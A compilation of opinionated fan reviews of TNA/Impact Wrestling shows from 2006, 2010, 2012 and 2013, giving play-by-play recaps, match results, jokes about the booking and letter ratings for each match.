The Dudleys come in and it turns into a big brawl again. Guitar comes in and Jarrett has to hide it from the referee because this is a stupid match. Gore takes Jarrett down but a Black Hole Slam does the same to Rhyno. Gail breaks up What’s Up so Jackie comes in and it’s a double What’s Up to Gail and Jeff. D-Von goes to do the chest slap to Jackie and pauses in a funny spot.

3D takes out Abyss but AMW takes out Team 3D. Death Sentence to D-Von and Killings gets taken down by a double team as well. I hear handcuffs but Truth apparently has experience with them as Harris winds up cuffed to the ring. Axe kick gets two as Jarrett pulls the referee out. Jarrett and Truth slug it out a bit and the Stroke ends this rather quickly.

Rating: C. Leave it to TNA to take their WAR and make it boring for a large part of it. They started in an actual war then went to a regular match and then to a big decent fight. Of course TNA managed to take what could have been a good match and get the whole order of it screwed up. Match was just ok and the feud would continue for the most part next month at Lockdown.

Jarrett complains about Sting a bit and says he’s a coward. He gets in the ring and gives Sting a ten count which Sting doesn’t answer.

We recap Ultimate X with the idea being that no one can beat Joe so the two X Division guys are going to put him in their match. Joe was AWESOME at this point as was this three way feud.

Joe says he’s going to win and keep the title, which he misses. Goldberg comparisons are made. Don’t make me laugh.

X-Division Title: AJ Styles vs. Samoa Joe vs. Christopher Daniels

They make it clear that the undefeated streak isn’t on the line here. AJ and Daniels go for corners immediately but Joe is like “dudes we’re on PPV you know it’s not ending that fast.” Joe beats up AJ a bit so Daniels takes a chance at the belt. The challengers go high/low on Joe and go at it themselves. AJ sets for a dropkick but Daniels grabs the rope. AJ is like screw it and just does a standing backflip and then hits the dropkick. AWESOME.

AJ and Daniels go up but of course crash down after kicking each other a bit. Daniels goes to the floor so AJ pops Joe with some forearms including the springboard one, bringing a smile to my face. AJ gets sent to the floor and Joe wants to get a highlight reel moment, busting out a corkscrew plancha over the top to the floor to CRUSH both guys. Joe tries to go across but slips off with a little help from Daniels.

Back in the ring now with Daniels in control. Enziguri and a running knee take Joe to the floor so it’s down to the non-Samoans. AJ climbs with Daniels following so AJ gets a twisting sunset sitout powerbomb to take Daniels down. Joe goes off on both guys, possibly having been offered a box of doughnuts. Out to the floor and Joe puts Daniels in a chair to set up the Ole Kick but AJ dives in for the save instead of going for the belt.

We start the Joe’s Gonna Kill You (I prefer IDR) chants as he sets up the Musclebuster. Daniels and Joe slug it out in the middle with Tenay saying Joe is feeding off of this. Joe feeding on something. Film at eleven! Clutch in the corner doesn’t work for Joe as both guys combine to hit a double Musclebuster on Joe in a cool spot. Pele takes down Daniels which is a move I appreciate more every time I see it. The timing and placement on that has to be perfect.

AJ goes up as the fans are chanting for everyone not named Joe. Styles gets to the belt but Joe pops him in the back with a chair to save the title. In a pretty weak ending, Daniels hits Joe with the chair and casually climbs up to get the belt and end it. Just like that. No big drama spot or anything as Daniels just grabs the belt. He would lose the title in about a month back to Joe on Impact, making this virtually pointless. Joe freaks out as Daniels and AJ shake hands.

Rating: B. Good but certainly not great here. Watching these three together is never a bad thing though as they have incredible chemistry and it’s nice to see Daniels actually win something in this feud rather than having Joe and AJ dominate 100% of the time. The problem is that this was compared to the Unbreakable match which isn’t going to work ever, so take it for what it’s worth.

Christian talks about being tough but being the underdog no matter what he does. The fans chant his name and he talks about how Brown may have been a star football player but this isn’t the Serengeti but rather the Peep Zone. Christian says he’ll keep the title because that’s how he rolls.

We recap the feud which basically said that Jarrett guaranteed Brown the next title shot when Brown helped Jarrett beat Cage. The problem is Christian won but Brown got the title shot promised to him instead of Jarrett getting his rematch. It resulted in a monster vs. an average sized guy in Christian. In a bit that is rather stupid yet funny at the same time, Christian asked him what the capital of Thailand is. “Bangkok.” Say it with me: a low blow followed.

NWA World Title: Christian Cage vs. Monty Brown

Yeah still the NWA Title here which would last about another 14 months when Christian would be stripped of the title. Brown is a big old strong guy that uses a half spear/half shoulder block as a finisher. He’s a bit more known in WWE as Marcus Cor Von. Christian was certainly over in Orlando. Christian is the hometown boy so he’s by far and away the favorite. That and he’s a face.

Dueling chants begin and here we go. Christian has bad ribs because it’s illegal to be fully healthy against a monster challenger I guess. Christian grabs a headlock but Brown gets a shot to the ribs to break it up. They trade chops and Christian gets tossed to the floor. They brawl into the crowd where the people seem, shall we say, not very interested. Back to the ring and more slugging occurs.

And never mind as we’re right back to the floor. Christian tries to come back in off the top but gets caught by a punch to the ribs. This time they slug it out on the apron for a little variety before they go to the floor again. Into the ring again for more punching to the ribs of the champion. To say this is repetitive is like saying Austin likes to drink. Brown drapes him over the ropes and sends him into the post/buckle for two.

We hit the abdominal stretch which is a perfectly logical move. We’re over ten minutes into this match and I don’t think Christian has used anything other than punches or chops. Tornado DDT is reversed for two. Cage fires off some forearms before Brown hits him in the ribs to remind us that he knows how to do that. Down goes Monty but the frog splash misses for Christian and we hit another rib hold, this one on the mat.

To the corner now with Brown hammering on the ribs again. Christian knocks him off the top and drops a backsplash for two. Unprettier is blocked into an Alpha Bomb for two (big powerbomb). Unprettier is blocked into an F5 for two. Another Alpha Bomb is blocked into the Unprettier to end this. At least it’s over.

Rating: D+. Really dull match here as Brown was trying but Christian’s offense was so one dimensional for the first 12-14 minutes that it was putting me to sleep. Brown isn’t a guy capable of going 17 minutes without boring people to tears and that’s exactly what the case was here. Bad main event that needed to be about 5 minutes shorter to make it work in any fashion.

Christian starts to celebrate and cue Jarrett. We get an Edge reference and Jarrett wants his rematch RIGHT NOW. Christian mentions something about Jarrett retiring and flubs his lines. They talk over each other and Christian says he’ll beat him up but can’t give him a title shot. Brown pops up and it’s 2-1. Christian fights back with a double clothesline but Abyss comes out to make it 3-1.

Rhyno makes it 3-2 as you can see Lockdown being made right here. Team Canada and AMW with Shelley are here as Jarrett’s Army has about 8 people in it or so. The fans chant for Sting as Christian is cuffed and whipped with a belt. Sting (Steve Borden. Whatever) comes out of the crowd and beats up all eight or nine guys on his own. He literally only has to scream at Young to get rid of him.

Apparently this is over Jarrett stalking Sting’s (the announcers keep changing names too) family. Sting whips him with the belt and goes for the Scorpion, because when you think psychotic revenge, you think leg lock. Jarrett taps but Scott Steiner debuts to join Planet Jarrett and beat up Sting as the rest of Jarrett’s Army recovers at the exact same time of course. Everyone beats Sting up as Tenay overreacts beyond belief. The idiot fans chant for Goldberg. That’s hilarious. Steiner Recliner to Sting (for the love of tar PULL THE ARMS BACK YOU LAZY MICHIGAN STEROID FREAK!) and a guitar shot ends this.

Overall Rating: D. TNA in 2006 was a very mixed bag. What I mean by that is you had Team Jarrett that dominated the main event and a group of various faces fighting against him. It was ok but Jarrett wound up winning four world titles in like a year and a half out of it while everyone was bored out of his mind with him. Angle showed up in the fall but it’s not like it meant much. Anyway, weak PPV, WAY too much Jarrett/Sting stuff and nothing that hasn’t been done better elsewhere.

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Impact Wrestling – July 18, 2013: They Got Me

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Date: July 18, 2013
Location: Broadbent Arena, Louisville, Kentucky
Commentators: Mike Tenay, Jeremy Borash

Bobby Roode calls Aries beating him last year a fluke. Tonight he starts his path back to Bound For Glory.

Bound For Glory Series: Bobby Roode vs. Austin Aries

Post match Roode snaps and destroys a bunch of stuff at the announce table due to his losing streak.

Homicide and Hernandez reunite in the back but Chavo pokes his nose in for whatever reason.

Anderson talks to the Aces about Doc leaving over not winning the election. All of the guys know their assignments tonight.

Homicide vs. Petey Williams vs. Sonjay Dutt

This is the first of three qualifying matches for an Ultimate X title match next week. Homicide sends both guys to the floor for a big dive before Petey takes over back inside. The slingshot Codebreaker takes Homicide down and Dutt is put in a leg lock, only to have Homicide come off the top with a headbutt to break it up.

Homicide takes both guys down and gets two on Dutt but Petey is back in. Dutt is crotched on the top but neither Homicide nor Petey can hit their finisher. Dutt suplexes Williams out of the corner and into the Gringo Killer but Dutt hits his standing sliced bread on Homicide. The moonsault double stomp is enough for Dutt to pin Homicide at 4:10.

Kenny King vs. Chavo Guerrero vs. Manik

Chavo is sent to the floor as King takes over on Manik. Manik hooks a quick Black Widow followed by an Indian Deathlock, only to have Chavo get caught in a northern lights suplex at the same time. Chavo hits dropkicks to both guys but Manik comes back in with springboards and cross bodies all around. Chavo launches Manik into a dropkick to King but gets rolled up for two. Guerrero hits Three Amigos on King but Manik breaks up the frog splash. King hits a running enziguri to knock Chavo off the top but Manik takes King down with a double chickenwing gutbuster for the pin at 4:36.

Angle and the Mafia are ready to start their plans tonight.

We get the same package on Sabin from earlier.

Hogan tells Sabin to make people remember him and to bring the title back home.

Rubix vs. Rockstar Spud vs. Greg Marasciulo

Mickie James is in the arena to brag about a great moment from last week. We see a clip from a concert of hers in Nashville and Mickie brags a lot until Gail Kim cuts her off. The only thing people were talking about last week was her ladder match, but Mickie cuts her off because Gail is interrupting her oxygen space. Mickie says her performance last week was five starts but Gail ducks a slap. The brawl is on and Gail is in a very short dress. The title match is next week.

Austin Aries tells Sabin to be ready tonight. Sabin knows he can beat Aries and Aries can beat Bully Ray and Aries is pulling for him.

AJ Styles is ready for his test from Jeff Hardy and is going to take the points next week.

TNA World Title: Chris Sabin vs. Bully Ray

Instead he drills Sabin with a superplex for two but Chris fights back. He somehow gets up top for a missile dropkick but the referee goes gets bumped. Anderson tries to come in but the Mafia is there to stop the bikers. Ray got a hammer in there somehow but Sabin kicks him down. Everyone else is gone and Sabin blasts Ray in the head with the hammer for the pin and the title at 18:40.

Results

Austin Aries b. Bobby Roode – Brainbuster

Sonjay Dutt b. Petey Williams and Homicide – Moonsault double stomp to Homicide

Manik b. Kenny King and Chavo Guerrero – Double chickenwing gutbuster

Greg Marasciulo b. Rockstar Spud and Rubix – Over the shoulder piledriver to Spud

Chris Sabin b. Bully Ray – Hammer to the head

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On This Day: March 21, 2010 – Destination X 2010: When You Reach Slapstick, Just Give Up

Destination X 2010
Date: March 21, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

So the focus is back on the X Division here as we have Ultimate X and a tag team ladder match to take a look at this time. I watched this show live and I liked what I saw for the most part. We have AJ vs. Abyss in the main event which if it’s anything like their cage match about 5 years ago it will be great. Anyway, let’s get to it.

The opening video is thankfully about the X Division with Daniels talking about how awesome he is. And now we’re done with that and talking about the rest of the card. Of course it’s over the top since this is a TNA video.

Kazarian vs. Brian Kendrick vs. Amazing Red vs. Christopher Daniels

Winner is #1 contender to the X Division Title. Oh and it’s a ladder match. This was when Daniels had some weird thing on where it wrapped around his neck and then down to his arms. It just looked weird. Make your own Antonio Banderas jokes. We get going and Kendrick hits the floor. Smart. Red launches himself of the ropes to hit everyone not named Kendrick. There’s your first ladder.

Everyone goes for the contract in a row but no one gets it. I love that STO Daniels does. Taz knowing the real name of it might be the only thing worth a thing from him. The ladder has an ad for TNAwrestling.com. There’s something amusing about that. TNA gets the idea here at least: have a spot fest. That’s what a match like this is supposed to be and that’s what they’re giving us.

Red hits a SWEET hurricanrana to the floor. In a spot that I thought was stupid Kazarian has Red in position for the Flux Capactior on the ladder. The setup is like a Rock Bottom. His left arm is free. WHY DIDN’T HE GRAB THE FREAKING PAPER??? He makes up for it a bit with a slingshot Fameasser to a ladder on Daniels. Nice. Kendrick gets his fingers slammed in a ladder. FREAKING OW!

Daniels and Kaz are the only ones left in there. And there’s Kendrick so never mind. Crowd is totally behind Kendrick here in case you’re wondering. That five clap sequence the audience does needs to freaking die. It truly does. In a nice spot, Red goes for a springboard something but jumps into a Diamond Cutter from Kazarian. I like it.

Ladder number two is in and Red and Daniels have a race. Kazarian does the Shelton Spider-Man spot to get onto the ladders and knocks Daniels off to win the thing.

Rating: B+. It was a spot fest and that’s all it had to be. This was a great way to open the show and the match was solid. Even in a TNA crowd you have to get them fired up and what better way than this? Kaz will win the title soon and after this he deserves it. Fun match.

We talk about A.J. vs. Abyss for no apparent reason. I can’t get over this ring thing. It’s just idiotic to say the least. And here’s Ric Flair for no reason at all. Chelsea brings him out in a wheelchair. To the shock of no one, Flair is ticked off. I know some people love this, but it’s saddening to see him look like this much of a joke anymore.

He was so great and now he’s just a blithering old man. The ask your mother jokes are still kind of funny though. Seriously though, he’s just a crazy man that won’t let go of the past now.

We cut to Hogan and Abyss and Hogan likes him a lot. Shocking isn’t it? It continues to confuse me that he’s a former world champion here and all of a sudden he’s’ never accomplished a thing. The ring is just stupid. Is it supposed to make him super powered or something? He looks like someone attacked him with ketchup and mustard. Bischoff comes in and he has limited hair now. If nothing else the jokes Abyss and Hogan make are kind of funny.

Knockouts Title: Tara vs. Daffney

Tara is just made of hotness. Apparently Daffney is the “challengemer”. Sure why not Tenay. The zombie hot thing is hit or miss for me with her. She does the splits for her entrance which is unique apparently. I guess if Melina is hurt that makes it unique. Tara goes straight for her and we’re off and running early. Tara’s shirt comes off and I start smiling. At least she didn’t do the dance for the moonsault this time.

It’s ok when she’s dominating but not when she’s ticked off. Tara busts out a Tarantula which at least fits really well. Daffney hooks a screwed up submission hold which is very unique. This is a bit sloppy but it’s very nice to see women having a match where it looks like they know what they’re doing and you have a legitimate flow to the match rather than just moving from spot to spot, most of which would be blown.

Daffney doesn’t get to wrestle much but she’s not bad when she does. Widow’s Peak ends it. Daffney steals the spider afterwards so the feud continues.

Rating: C+. Not bad at all here. It’s nothing great, but it was perfectly watchable. Daffney surprised me in there and Tara of course is dependable so that works out fine. I wish they didn’t do the spider thing as there’s no real point to continuing this since Tara got a clean pin but whatever.

Brutus Magnus is changing his name to just Magnus. This turns into a discussion of Frankenstein. Sure why not.

Global Title: Magnus vs. Rob Terry

Terry is getting the Goldberg push which is fine I guess. It keeps his matches short if nothing else. It never ceases to amaze me that people talk about what an alternative to WWE TNA is supposed to be and here we have a not incredibly talented musclehead guy getting a mega push. A spinebuster ends this in like a minute and a half.

Rating: N/A. The Goldberg push continues, which I can’t say I have many problems with. This was a total non-threat so that’s all fine and good.

We get a highlight package on Ultimate X with a bunch of people talking about how dangerous it is. We’ll ignore that none of them have ever been in one of these matches.

The Machine Guns talk about how great they are and say Generation Me need their Hardy Boys Starter Kit. That’s rather amusing and the crowd laughed hard at it.

Taz says he was looking at the structure earlier when he was hanging in the rafters. Do I even need to make fun of that?

Ultimate X: Motor City Machine Guns vs. Generation Me

You think this could be awesome? Yeah me too. Penzer screws up a bit on his opening line. Ok one is Max and one is Jeremy. I’ll never remember that but whatever. BIG pop for the Guns. Seriously, how have these two never been tag champions? This is Sabin’s 13th Ultimate X match out of 20 that have happened. That’s INSANE. The Guns immediately hit the corners which is rather stupid but whatever.

Don’t expect a ton of play by play or criticism over psychology here. It’s just not going to happen. In a painful looking spot, One of the Bucks gets their hair pulled around the structure. FREAKING OW MAN! Ok Max has the headband. Got it. I think we got a Team 3D chant in there. Why? What the freaking heck? Who cares as Shelley hits a sweet looking dive to shut the fans up.

There is little more fun to see than precision double teaming. That’s what the golden age of tag wrestling was predicated on and these guys bring that back. Jeremy is freaking entertaining. He hits a springboard modified X-Factor and immediately hits a moonsault to the floor. Sweetness. They do something smart and say no replays until the match is over. That’s a good idea.

Jeremy gets up on the X but Sabin makes the stop. Shelley actually tickles Jeremy to knock him down. Well whatever works I guess. The fans think this is awesome. Now if only they were paying to see it. Everyone goes on one part of the X and they all do the leg hook thing but everyone falls. Kick-o-rama begins and it’s sweet. The speed of these guys is epic.

In a SWEET spot, Max is in the Tree of Woe and Jeremy takes a belly to belly into him. And in a STUPID move, the Guns unhook Max. Seriously, why in the world would you do that? It makes NO sense. One guy is on the floor and the other is stuck in the corner. One guy plays guard and the other goes up. Whatever though as we got a cool double team out of it. Sabin and Jeremy go up but down comes Jeremy and the Guns win it!

Rating: A-. Just a sweet match here. Much like the TLC matches, this wasn’t about wrestling but about high flying spectacles which is just fine. These are designed to have the guys showcase themselves and that’s what they did here. Very fun match and worth finding a copy of for sure.

The highlight package is great of course.

We recap the Band vs. Nash and Young. Seriously, could they make Nash’s heel turn more obvious? I certainly don’t think so. Oddly enough Nash throws a left handed punch in the video. That’s rather odd.

Hall and Nash say they’re ready and use the term Wolfpack a lot. Is this a Hangover commercial? WOW that was weak. Hall is in passable shape here which is shocking. Waltman steals my Crosby and Stills joke so I hate him even more now.

Scott Hall/Sean Waltman vs. Kevin Nash/Eric Young

The heels get no music. Ok then. Waltman is named Syxx-Pac here but that’s just not being written. Hall has a partner yet he’s a lone wolf. Figure that one out. I mean why would he be channeling Barry Windham? There’s a sign all night that says PG Sucks. That line and theory just amuses me. The Survey says the fans want Hall and Waltman to have contracts.

Why does that not surprise me? Young is just billed from Canada. Is that the best they can do? Pac and Young start us out so Pac will be bearable here. He’s always been better against small guys. I just have no reason to believe he’s this giant killer that everyone swears he is. Hall comes in and does all his old stuff. Seriously I’m sitting here calling every move he’s going to do down to the second.

Young and Pac botch the heck out of a backdrop. Waltman hits a decent over the top rope dive. No Nash at all yet as they have the whole thing so telegraphed it’s pathetic. Seriously, this is boring simply because we know what’s coming. Waltman sprays paint in Young’s eyes. Yeah I’m sure the referee sees nothing odd about that at all since he was with Nash the whole time. Nash gets the tag and there it is.

Even Taz sounds bored with it. All three finishers hit and it’s over. They do the paint outline of Young on the mat which makes the whole thing look stupid. We even get the Wolfpack theme song minus the lyrics. We’ll ignore the Young push being crushed for three old guys that were a unit 12 years ago.

Rating: D. Seriously, this was boring stuff. There was no point to the match as it was all about the turn that we all knew was coming. When a TNA crowd sounds bored out of their mind, you know you screwed up something bad. Also, it was so much of a swerve that they had the Wolfpack music not only ready but remixed without the lyrics. That’s a REAL swerve.

Angle burns a picture of Anderson. Ok then.

X-Division Title: Shannon Moore vs. Doug Williams

So on a show where the X-Division is being highlighted, the X Title match is going on about halfway through the show? Sure why not. Why is Moore getting PPV time when Hardy and Van Dam and Pope and Sting aren’t again? Has Moore ever won anything? Also, why do we need both him and Jesse Neal? I seriously couldn’t tell them apart if I had to. Moore apparently reads from the book of DILLIGAF.

Wow that’s idiotic but at least it’s something minor. We get a Cravate so I’m happy. It’s a weird kind of side headlock that Chris Hero uses a lot in case you’re wondering. It looks like you’re setting for a snapmare but you never flip the guy over. Williams is a good striker if nothing else. The crowd finally wakes up a bit. Williams reaches under the ring and gets a brick which gets the win. There needs to be an official Under the Ring Checker.

Seriously, people just throw EVERYTHING under there. Moore is allegedly bleeding but it doesn’t look like much blood to me. Post match we get a semi-shoot promo from Williams where he complains about how the division isn’t about wrestling anymore but high fliers so he’s going to change that. He goes and steals a woman’s purse to put lipstick on Moore. Ok then. The fans chant for RVD and no one comes of course. I would argue Hogan and his booking are what’s wrong with the division but that’s just me.

Rating: D. Weak stuff here as not only did no one care but the match wasn’t that good. Seriously, what in the world is the appeal of Shannon Moore? I seriously don’t get it. He never wins anything, his look is stupid and he’s nothing special in the ring. Total filler match.

We recap Morgan and Hernandez vs. Beer Money. This was just after Beer Money turned heel on television while whining about not being on television. I flat out do not like this angle at all as it’s making the tag titles look stupid kind of. If you insist on turning Morgn heel, at least wait awhile first.

Tag Titles: Matt Morgan/Hernandez vs. Beer Money

Sweet goodness have the champions fallen far. I like the opening of Beer Money’s theme song if nothing else. DAng that outline looks stupid. At least Morgan is wearing somewhat white tights so that’s a perk. Morgan and Roode start us out. And so much for that as Hernandez is tagged in maybe 10 seconds into the match. Did they miss the boat with Hernandez.

So basically the champions can’t be hurt and the challengers have zero chance here. Ah ok that’s better as Hernandez gets beaten down. Hernandez holds Storm up in a suplex for about 25 seconds. That’s very scary. So basically Morgan is cocky and comes in when Hernandez has beaten the other guys down.

Morgan blocks a big dive from Hernandez and then the Supermex gets hit with an enziguri, Once he remembers to sell it, Roode goes way up in my eyes with a Blockbuster. I love that move. After more arguing, the size and power are too much and a modified Dominator ends this. Morgan kicks Hernandez afterwards.

Rating: D+. This was all angle and not much about the match at all. That’s ok I guess as it set up a bigger one the next night. This was ok but nothing great at all. Beer Money isn’t as good as people say they are but they’re ok. I still don’t like the champions being together but that’s neither here nor there I guess. Decent but I wanted it to end.

We recap Angle vs. Anderson and their game of pass the medal. The promos have been good but it’s been repetitive with the medal being the focus of the thing over and over again.

Mr. Anderson vs. Kurt Angle

We have 53 minutes left so this is going to be LONG. We start off slow which is odd as they’ve fought before but that’s fine. The crowd is clearly not as hot as they were during the ladder or Ultimate X match. That’s not particularly a good thing but to be fair it means they put on a good match earlier. Much like he did with Shane at KOTR 2001, Angle does the volunteering to let Anderson get a free hold on him.

Naturally, Angle wins here. Angle is outwrestling him here which is what you would expect of him obviously. Dang the bald one can throw a punch when he wants to. Anderson works on the arm but that doesn’t work very well. Ok maybe it does. It’s so hard to tell at times. This has slowed down a lot and it’s not helping much at all. If nothing else Angle can still do a decent belly to belly. Naturally the Angle Slam gets two.

When was the last time that actually worked? Mic Check and tights get two. Angle busts out a frog splash and it wasn’t bad at all. There goes the referee as Anderson hits a belly to back suplex. Oh ok he spun about two inches so it’s an Angle Slam. Got it. Angle gets his medal back. Yeah I don’t care at this point either. He then does the same thing that he criticized Anderson for over the last few months.

Oh him being a face makes it ok though right? That’s the Hulk Hogan principle I believe. Ankle Lock ends it a few seconds later. Anderson was more or less worthless here. He was ok looking but this was very one sided. Anderson blasts the crowd afterwards. He says his name about ten times so this has to be a good promo right?

Rating: C-. Not bad, but really Anderson never had any real chance to win. Like I said, he looked ok but there was zero drama here. That’s never a good thing, especially in a long match like this. Either way, not bad or anything, just not that exciting.

We recap the Abyss/AJ match, which is perhaps the weakest main event I could think of. I mean really, did ANYONE buy Abyss possibly winning the title here? I never once did as they’re going to likely give it to Pope at Lockdown. Basically Hogan gave up his HOF ring and it’s made Abyss powerful or something. Oh and he chokeslammed Flair through the ramp.

AJ says he’s not afraid and Abyss is stupid.

Abyss says he has a ring and thanks Hogan. Remember: Abyss was nothing without Hogan. This goes on way too long and ends with Hogan catchphrases.

TNA World Title: A.J. Styles vs. Abyss

Seriously, the Hogan worship needs to END. This is idiotic to say the least. Oh look: let’s take someone not like Hogan at all and turn him into someone that does Hogan things. It’s just stupid. He’s a monster. Let him be a freaking monster! Flair and Chelsea are here too. Even big match intros aren’t helping this much. Yeah the red and yellow spots on his shirt are just idiotic looking.

Abyss does something SMART and jumps AJ during the intros. That’s a good and simple idea that works. We’re on the ramp now and Flair goes after Abyss. Seriously, what is he going to do? Remember, he’s in a wheelchair. See this is what makes AJ’s heel turn stupid: he can work great matches ON HIS OWN. AJ is a great wrestler and was world champion. WHY WOULD HE NEED A MENTOR???

That’s never been explained I don’t think. He’s the best in the world. What can Flair help him do? Become the best on Venus too? I mean if you factor Flair completely out of this, it’s a solid match based on AJ’s abilities alone. I just do not see what Flair adds to this at all. The other issue: Styles’ offense is based on face style moves. Seriously, he fights like a face does with the high flying stuff and all the kicks.

That’s what makes little sense to me. AJ works on the leg which makes perfect sense at least. The springboard forearm is caught. I love how AJ is outside in position for a springboard and Taz says he thinks he’s going for a springboard. Wow indeed. Pele brings AJ back into control. Question: WHERE IN THE WORLD IS JOE??? Seriously, we haven’t heard about him in like 2 months now and everyone is just not talking about him?

That makes no sense but whatever. It’s TNA so there we are. AJ hits Spiral Tap. CAN’T YOU SEE HOW EVIL HE IS??? The fans chant for the move and I shake my head at how they messed this up. Black Hole Slam gets two with almost no heat. And Flair maces the referee. A belt shot puts AJ down but it’s HOGAN FOR THE SAVE BABY!!! He brings Hebner with him so there’s your new referee I guess.

AJ continues to fail as a heel as he hits a springboard 450 splash but Abyss GIMMICK INFRINGEMENTS UP! Abyss chokeslams him through the ring and Hebner throws the match out. So let me get this straight. Abyss just crushed AJ after Hardy beat AJ on Impact and Pope gets AJ at the next PPV. Why is AJ being bought as champion again? Flair gets mace from Hogan.

Yeah the old men wandered out here looking for the Country Kitchen Buffet and wind up in the ring. And we get the idiotic ending to the show as they mace and punch Wolfe who also ran down and he stumbles over Flair who is on all fours to fall into the hole in the ring. WOW. Hogan leads Abyss around the ring like a canine and that’s it.

Rating: C-. The match itself was good, but the ending is straight up stupid. Seriously, they did a comedy sketch to end the PPV. Also, if AJ is more or less dead, why isn’t Abyss champion? Why does that make it a no contest? The whole thing just made limited sense to me. Also, AJ wrestles like a face, period. There is no reason for him to act like a heel at all. The ending here is the main issue though.

That and the lack of drama to it. Not once in the buildup or in the match did I expect Abyss to win, period. I think Pope gets the title at Lockdown. So what if his hype is mostly gone now due to the long delay? Since when does a champion need people to care about him right? Anyway enough of a tangent. This was an ok match with a flat out stupid ending. Don’t do this again TNA.

Overall Rating: D+. This is a show in two parts. The first half or hour and a half or so is great stuff. The second half, as in everything after Ultimate X, is just weak. There is not a single match on there that got me going or was really that good. The crowd is noticeably weaker too and for a TNA crowd, that’s saying a lot. After this show, I realized the issue: nothing of note happened here.

No titles changed hands, a lot of the feuds are unresolved, we knew MCMG and Kazarian would be winning their matches and AJ looks weak. Tell me, what was settled here? If we’re supposed to wait for Lockdown to do that, why have this show at all? It’s not a bad show by any means. It’s just uneventful. There are two GREAT matches on it which is why this is a good show.

There are passable matches here, no doubt. But like I said, nothing definitive happened here. Anderson and Daffney are going to keep feuding with the respective faces, Abyss deserves another shot, and the tag champions still don’t get along. What came from this show? Oh wait: Nash joined the Band in the most predictable segment this year.

That’s the big thing from this show right? Again, what came out of this show at all, because I’m missing it. Check out the X Division gimmick matches, but other than that, you’ll miss nothing off this show at all.

Remember to follow me on Twitter @kbreviews




Destination X 2012: TNA Is Incredible Right Now. Yeah I Said It.

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Date: July 8, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Jeremy Borash

Rubix vs. Mason Andrews vs. Lars Only vs. Dakota Darsow

Only and Darsow head to the floor while the two competent guys go at it in the ring. Andrews hits a huge dive over the top to take out both guys, followed by a flippier dive from Rubix to all three of them. Back in and Andrews grabs a Fujiwara Armbar on Rubix as Kid Kash, the guy who gets the winner, watches in the back. Geez that guy is still kicking around? Only takes all three down again and gets two on Rubix. Darsow is sent to the floor and Andrews charges into the boot of Andrews.

X-Division Title Tournament Semi-Finals: Mason Andrews vs. Kid Kash

Andrews makes his comeback with some clotheslines and a missile dropkick for two. A running knee to the face gets the same and we get a pinfall reversal sequence minus any actual pinfall attempts. The Moneymaker (double underhook piledriver) is countered and Andrews rolls him up for the pin.

Joe says that he picks Aries in the main event. His strategy tonight is to get to the world title through the BFG Series. Angle is nothing more than a means to that end.

X-Division Title Tournament Semi-Finals: Douglas Williams vs. Kenny King

They fight over an armbar with King in control for a few seconds. Williams takes him down again and hooks a camel clutch which is quickly broken. Douglas pounds away in the corner but Rolling Chaos Theory (a sick rolling German suplex out of the corner) is broken up. King comes back with an atomic drop and an enziguri to put both guys down. Kenny hits a bit spinwheel kick for two and a spinebuster gets the same. Williams goes up and knocks Kenny to the floor in a big crash. Douglas drops a knee to King to keep King down, just not enough for a countout.

X-Division Title Tournament Semi-Finals: Sonjay Dutt vs. Rashad Cameron

We talk about Jesse Sorensen a bit and how he got hurt. This is followed by a video on Sorensen who says that he barely remembers any of this. The doctor says Jesse should be able to get back in the ring eventually. He hopes to make a full recovery. Good video to have on a show like this.

X-Division Title Tournament Semi-Finals: Zema Ion vs. Flip Cassanova

Ion stares down Sorensen as he comes through the curtain. That could be an incredible moment when they have their match. Hopefully this match is short though as Cassanova was downright dangerous on Impact. Ion kicks him in the head to start and clotheslines Flip down. Ion misses a clothesline and Cassanova sends him to the floor, followed by a flip dive.

That gets Cassanova nowhere so Ion pounds him right back down. Cassanova gets sent to the floor for a baseball slide to send him down again. Back in and Flip kicks Ion down and hits a namesake moonsault for two. The flip dive that he won with on Impact misses here and Ion ends this with a modified Gory Bomb.

Bound For Glory Series: Kurt Angle vs. Samoa Joe

That puts Joe in first place in the Series.

Christopher Daniels vs. AJ Styles

We get some tweets from various people, some of whom are TNA people.

Aries dominates an online poll with 71% saying he wins the title.

We recap the semi-final matches from earlier in the night.

X-Division Title: Mason Andrews vs. Kenny King vs. Sonjay Dutt vs. Zema Ion

King comes back in and counters an Andrews DDT by suplexing him into Ion who was in the Tree of Woe. King and Dutt slug it out on the apron and a cartwheel kick knocks Dutt to the floor. Kenny goes for the belt but Dutt takes him down with a springboard dropkick. Dutt fires off a standing shooting star but hits his arm on the rope in the process. Keep that in mind. Ion makes a run for the belt but Andrews and King make the save. The two saviors go to the corner and Andrews suplexes King down.

Dutt is being takes out of the match because of his arm/elbow/shoulder. Ion goes for the belt but gets brought down into an atomic drop from Andrews. King and Ion go to the floor with Andrews hitting a flip dive over the top to take both guys down. Andrews goes for the title but King hits a springboard spear to take him down in a good looking spot.

TNA World Title: Austin Aries vs. Bobby Roode

This time the missile dropkick hits as well but Aries charges into a powerslam out of the corner. Aries comes back again and tries the Last Chancery again, but Roode is pretty bad at selling it. Roode counters into a Crossface but Aries counters right back into the Chancery. Aries gets in another shot to the head and goes up for the 450, but Roode moves. Aries rolls through it anyway but walks into the spinebuster for two.

The champion sends him shoulder first into the post and goes back to the Crossface. That stays on for a long time but Aries makes the rope. Roode is frustrated now so he grabs the belt, only to have it taken away by the referee. That allows the champ to hit a low blow for two. Roode argues with the referee and gets shoved into the corner, allowing Aries to hit the corner dropkick.

Rating: B+. Another good match to close the show here, but the point of this was in the surprise. This felt like a big moment and it was the right call to pull the trigger here. This show was designed around the X-Division and having the longest reigning champion win the world title here was the right way to make the X Title look like it can be something comparable to the world title. Good match too.

Aries celebrates with confetti to end the show.

Remember to follow me on Twitter @kbreviews




Impact Wrestling – June 28, 2012: Well Hello There X Division. I Thought You Had Died.

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Date: June 28, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Bound For Glory Series: Mr. Anderson vs. Rob Van Dam

Here are the updated standings:

Storm 36

Joe 17

Angl 10

Dnderson 9

RVD 7

Pope 7

Magnus

Jeff Hardy 7

Christopher Daniels 5

Bully Ray 0

Robbie E 0

AJ Styles 0

X-Division Tournament Qualifying Match: Sonjay Dutt vs. Rubix

We get a clip from last week with Joseph Park and Ray having another confrontation.

Bound For Glory Series: Samoa Joe vs. Bully Ray

